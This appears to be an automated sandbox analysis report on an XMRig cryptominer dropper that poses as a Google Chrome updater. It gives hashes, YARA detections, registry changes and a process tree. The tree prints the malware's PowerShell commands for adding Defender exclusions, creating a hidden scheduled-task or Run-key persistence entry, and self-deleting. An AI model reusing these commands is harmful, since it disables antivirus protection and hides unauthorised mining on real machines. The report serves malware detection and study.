xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
1802s
max time network
1805s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
19/08/2023, 00:38

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General

Target

RmJBfzgfbWELMdgn.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 3304 created 3180	3304	RmJBfzgfbWELMdgn.exe	61
PID 3304 created 3180	3304	RmJBfzgfbWELMdgn.exe	61
PID 3304 created 3180	3304	RmJBfzgfbWELMdgn.exe	61
PID 3304 created 3180	3304	RmJBfzgfbWELMdgn.exe	61
PID 4604 created 3180	4604	updater.exe	61
PID 4604 created 3180	4604	updater.exe	61
PID 4604 created 3180	4604	updater.exe	61
PID 4604 created 3180	4604	updater.exe	61
PID 1268 created 3180	1268	conhost.exe	61
PID 4604 created 3180	4604	updater.exe	61

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral4/memory/1012-264-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-265-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-267-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-269-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-277-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-281-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-283-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-285-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-287-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-289-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-291-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-293-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-295-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-297-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-299-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-301-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-303-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-305-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-307-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-309-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-311-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-313-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-315-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-317-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-319-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-321-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-327-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-329-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig
behavioral4/memory/1012-331-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
4604	updater.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/memory/1012-259-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-264-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-265-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-267-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-269-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-277-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-281-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-283-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-285-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-287-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-289-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-291-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-293-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-295-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-297-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-299-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-301-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-303-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-305-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-307-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-309-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-311-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-313-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-315-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-317-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-319-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-321-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-327-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-329-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx
behavioral4/memory/1012-331-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4604 set thread context of 1268	4604	updater.exe	105
PID 4604 set thread context of 1012	4604	updater.exe	111

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	RmJBfzgfbWELMdgn.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4996	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
3304	RmJBfzgfbWELMdgn.exe
3304	RmJBfzgfbWELMdgn.exe
3700	powershell.exe
3700	powershell.exe
3304	RmJBfzgfbWELMdgn.exe
3304	RmJBfzgfbWELMdgn.exe
4544	powershell.exe
4544	powershell.exe
3304	RmJBfzgfbWELMdgn.exe
3304	RmJBfzgfbWELMdgn.exe
3304	RmJBfzgfbWELMdgn.exe
3304	RmJBfzgfbWELMdgn.exe
1320	powershell.exe
1320	powershell.exe
4604	updater.exe
4604	updater.exe
4648	powershell.exe
4648	powershell.exe
4604	updater.exe
4604	updater.exe
2484	powershell.exe
2484	powershell.exe
4604	updater.exe
4604	updater.exe
4604	updater.exe
4604	updater.exe
1268	conhost.exe
1268	conhost.exe
4604	updater.exe
4604	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3700	powershell.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeIncreaseQuotaPrivilege	4544	powershell.exe
Token: SeSecurityPrivilege	4544	powershell.exe
Token: SeTakeOwnershipPrivilege	4544	powershell.exe
Token: SeLoadDriverPrivilege	4544	powershell.exe
Token: SeSystemProfilePrivilege	4544	powershell.exe
Token: SeSystemtimePrivilege	4544	powershell.exe
Token: SeProfSingleProcessPrivilege	4544	powershell.exe
Token: SeIncBasePriorityPrivilege	4544	powershell.exe
Token: SeCreatePagefilePrivilege	4544	powershell.exe
Token: SeBackupPrivilege	4544	powershell.exe
Token: SeRestorePrivilege	4544	powershell.exe
Token: SeShutdownPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeSystemEnvironmentPrivilege	4544	powershell.exe
Token: SeRemoteShutdownPrivilege	4544	powershell.exe
Token: SeUndockPrivilege	4544	powershell.exe
Token: SeManageVolumePrivilege	4544	powershell.exe
Token: 33	4544	powershell.exe
Token: 34	4544	powershell.exe
Token: 35	4544	powershell.exe
Token: 36	4544	powershell.exe
Token: SeIncreaseQuotaPrivilege	4544	powershell.exe
Token: SeSecurityPrivilege	4544	powershell.exe
Token: SeTakeOwnershipPrivilege	4544	powershell.exe
Token: SeLoadDriverPrivilege	4544	powershell.exe
Token: SeSystemProfilePrivilege	4544	powershell.exe
Token: SeSystemtimePrivilege	4544	powershell.exe
Token: SeProfSingleProcessPrivilege	4544	powershell.exe
Token: SeIncBasePriorityPrivilege	4544	powershell.exe
Token: SeCreatePagefilePrivilege	4544	powershell.exe
Token: SeBackupPrivilege	4544	powershell.exe
Token: SeRestorePrivilege	4544	powershell.exe
Token: SeShutdownPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeSystemEnvironmentPrivilege	4544	powershell.exe
Token: SeRemoteShutdownPrivilege	4544	powershell.exe
Token: SeUndockPrivilege	4544	powershell.exe
Token: SeManageVolumePrivilege	4544	powershell.exe
Token: 33	4544	powershell.exe
Token: 34	4544	powershell.exe
Token: 35	4544	powershell.exe
Token: 36	4544	powershell.exe
Token: SeIncreaseQuotaPrivilege	4544	powershell.exe
Token: SeSecurityPrivilege	4544	powershell.exe
Token: SeTakeOwnershipPrivilege	4544	powershell.exe
Token: SeLoadDriverPrivilege	4544	powershell.exe
Token: SeSystemProfilePrivilege	4544	powershell.exe
Token: SeSystemtimePrivilege	4544	powershell.exe
Token: SeProfSingleProcessPrivilege	4544	powershell.exe
Token: SeIncBasePriorityPrivilege	4544	powershell.exe
Token: SeCreatePagefilePrivilege	4544	powershell.exe
Token: SeBackupPrivilege	4544	powershell.exe
Token: SeRestorePrivilege	4544	powershell.exe
Token: SeShutdownPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeSystemEnvironmentPrivilege	4544	powershell.exe
Token: SeRemoteShutdownPrivilege	4544	powershell.exe
Token: SeUndockPrivilege	4544	powershell.exe
Token: SeManageVolumePrivilege	4544	powershell.exe
Token: 33	4544	powershell.exe
Token: 34	4544	powershell.exe
Token: 35	4544	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1160 wrote to memory of 1720	1160	cmd.exe	97
PID 1160 wrote to memory of 1720	1160	cmd.exe	97
PID 1320 wrote to memory of 4260	1320	powershell.exe	98
PID 1320 wrote to memory of 4260	1320	powershell.exe	98
PID 4604 wrote to memory of 1268	4604	updater.exe	105
PID 4604 wrote to memory of 1012	4604	updater.exe	111

C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe
"C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3304

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1320
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:4260
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1160
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2484
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1268
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:5004
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  PID:2452
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:4996
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:1012

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4604

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cadef9abd087803c630df65264a6c81c

SHA1
babbf3636c347c8727c35f3eef2ee643dbcc4bd2

SHA256
cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

SHA512
7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d6bb0950d1a1cd06d8deca54159334a5

SHA1
611ef998beb261d8e93ff1c18fd783af6ae99a3d

SHA256
1366812f0fab7c373ec2722f6454be9510580957d9068437bf3432beb8194ea6

SHA512
f80b756573dc54a01cf0fbec57af6bd8f0ad5d50adc7db04ced8f5c10157609f5ceab9bf9b40af57fddc4dc03f51e5422893e95ecc8779469193ccccf12c15b8

Download Submit
